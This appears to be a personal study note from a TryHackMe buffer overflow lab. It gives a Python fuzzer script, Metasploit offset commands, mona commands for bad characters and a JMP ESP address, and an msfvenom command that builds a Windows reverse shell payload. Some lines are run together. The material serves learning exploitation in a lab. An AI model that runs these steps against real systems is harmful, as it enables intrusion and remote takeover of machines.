<aside> 💡 A Buffer Overflow Attack is an attack that abuses a type of bug called a “buffer overflow”, in which a program overwrites memory adjacent to a buffer that should not have been modified intentionally or unintentionally
</aside>
fuzzer.py (Credits to TryHackMe)#!/usr/bin/env python3
import socket, time, sys
ip = "192.168.17.130" # Change this
port = 9999 # Change this
timeout = 5
prefix = "" # Change if needed
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <BYTES_NUMBER>exploit.py script/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <BYTES_NUMBER> -q <STRING_FOUND>
This will give us the exact offset for the EIP“BBBB” at the end,
if it’s working, we should see near the EIP 42424242 💪"A" * offset + badChars
!mona compare!mona jmp -r esp -cpb "\\x00"
625014DF
it will be used like this: "\\xdf\\x14\\x50\\x62"msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\\x00" -f c
We’ll take the payload into our code, copy the unsigned char buf[] partpadding = "\\x90" * 16